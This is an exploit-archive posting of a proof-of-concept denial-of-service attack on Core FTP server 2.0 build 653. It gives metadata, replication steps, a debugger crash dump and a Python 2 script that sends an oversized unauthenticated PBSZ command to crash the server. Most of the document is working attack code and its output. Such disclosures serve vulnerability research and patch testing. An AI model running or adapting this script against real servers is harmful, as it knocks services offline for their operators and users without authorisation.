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Core FTP 2.0 Build 653 PBSZ Denial Of Service

Core FTP 2.0 Build 653 PBSZ Denial Of Service
Posted Mar 12, 2019
Authored by Hodorsec

Core FTP version 2.0 build 653 suffers from a PBSZ command denial of service vulnerability.

tags | exploit, denial of service
SHA-256 | 00eab4c7b5f5b0eaa067ef5307df33a9314ec54ced7998e6a06d61125051fb73

Core FTP 2.0 Build 653 PBSZ Denial Of Service

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# Exploit Title: Core FTP 2.0 build 653 - 'PBSZ' - Unauthenticated - Denial of Service (PoC)
# Date: 2019-03-12
# Exploit Author: Hodorsec (hodorsec@protonmail.com / hodor@hodorsec.com)
# Vendor Homepage: http://www.coreftp.com/
# Software Link: http://coreftp.com/server/download/archive/CoreFTPServer653.exe
# Version: Version 2.0, build 653, 32-bit
# Tested on: Windows 8.1 6.3 (build 9600)
# CVE: N/A

# Description:
# CoreFTP 2.0 is vulnerable to a DoS attack via the PBSZ command. Ironically, this command is being used for "Protection Buffer Size"
# and CoreFTP responds unauthenticated.
# The PBSZ command in CoreFTP only allows for a certain length of the string to be vulnerable to a DoS.
# This script triggers the DoS and filling ECX with the intented buffer.
# Although NSEH/SEH is overwritten, the executable binary is SafeSEH protected and no other assemblies are referenced.

# Replication:
# - Install CoreFTP and setup a domain with an IP and path
# - Start the service or click "Start"
# - No need to add users or set anything specific: just run the script and watch it crash

# Crash as service:
# (7e0.bf4): Access violation - code c0000005 (first chance)
# First chance exceptions are reported before any exception handling.
# This exception may be expected and handled.
# *** ERROR: Module load completed but symbols could not be loaded for C:\Program Files (x86)\CoreFTPServer\coresrvr.exe
# eax=00000000 ebx=00a5b048 ecx=42424242 edx=00000000 esi=00000258 edi=00000000
# eip=004491f5 esp=0128c4bc ebp=0129f684 iopl=0 nv up ei ng nz na po nc
# cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010282
# coresrvr+0x491f5:
# 004491f5 83b92c08000000 cmp dword ptr [ecx+82Ch],0 ds:002b:42424a6e=????????

#!/usr/bin/env python
import sys, socket, struct, time

if len(sys.argv) <= 2:
print "Usage: python " + sys.argv[0] + " [host] [port]"
exit()

host = sys.argv[1]
port = int(sys.argv[2])

# Maximum length
maxlen = 211

# Offsets
crash_ecx = 199
crash_nseh = 99

# Variables
prefix = "A" * crash_ecx
ecx = "B" * 4 # 004491f5; CMP DWORD PTR DS:[ECX+82c],0
suffix = "C" * (maxlen - len(prefix + ecx))

# Payload
payload = prefix + ecx + suffix

print "[+] Connecting to " + host + "\n"

try:
print "[+] Sending payload with " + str(len(payload)) + " length message..."


req = (
"PBSZ " + payload
)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(2)
s.connect((host, port))
s.send(req)
s.recv(1024)
s.close()

time.sleep(0.5)
except Exception,e:
print "[!] Error occured: " + str(e)
print "[*] Crashed occured at buffer length: " + str(len(payload))
sys.exit()
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